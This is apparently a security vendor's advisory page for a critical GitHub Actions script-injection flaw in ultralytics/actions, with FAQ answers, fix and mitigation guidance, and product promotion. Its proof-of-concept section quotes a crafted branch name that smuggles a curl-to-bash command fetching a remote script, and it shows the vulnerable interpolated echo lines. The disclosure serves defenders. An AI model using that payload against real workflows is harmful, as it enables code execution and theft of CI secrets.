How severe is GHSA-7x29-qqmq-v6qc?

GHSA-7x29-qqmq-v6qc has a CVSS score of 9.3/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-7x29-qqmq-v6qc?

GHSA-7x29-qqmq-v6qc affects the following packages: ultralytics/actions (GitHub Actions). Ecosystems affected: GitHub Actions.

How do I fix GHSA-7x29-qqmq-v6qc?

Update ultralytics/actions to 0.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7x29-qqmq-v6qc is resolved across your whole dependency graph.

How do I detect GHSA-7x29-qqmq-v6qc in my GitHub Actions dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ultralytics/actions. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-7x29-qqmq-v6qc if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-7x29-qqmq-v6qc?

O3 pinpoints whether GHSA-7x29-qqmq-v6qc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-7x29-qqmq-v6qc actively exploited in the wild?

No public exploit code has been indexed for GHSA-7x29-qqmq-v6qc yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-7x29-qqmq-v6qc published, and has it been updated?

GHSA-7x29-qqmq-v6qc was published on August 14, 2024 and was last updated on February 4, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 GitHub Actions

GHSA-7x29-qqmq-v6qc

CRITICAL

GitHub Actions Script Injection in `ultralytics/actions`

Published

Aug 14, 2024

Updated

Feb 4, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

📦ultralytics/actions

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.

Details

The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:

        echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
        echo "github.ref: ${{ github.ref }}"
        echo "github.head_ref: ${{ github.head_ref }}"
        echo "github.base_ref: ${{ github.base_ref }}"

In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.

PoC

Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pull_request_target.
In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash
Create a draft pull request.
If the action is reachable, then achieve arbitrary code execution.

ultra_cve_poc

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

Impact

Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.

Fix

Sanitize the user-controlled variables using environment vars.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦GitHub Actions	`ultralytics/actions`	all versions	0.0.3

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ultralytics/actions. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ultralytics/actions to 0.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7x29-qqmq-v6qc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7x29-qqmq-v6qc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7x29-qqmq-v6qc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name. ### Details The issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step: ``` echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}" e

O3 Security · Impact-Aware SCA

Is GHSA-7x29-qqmq-v6qc in your dependencies?

O3 detects GHSA-7x29-qqmq-v6qc across GitHub Actions dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works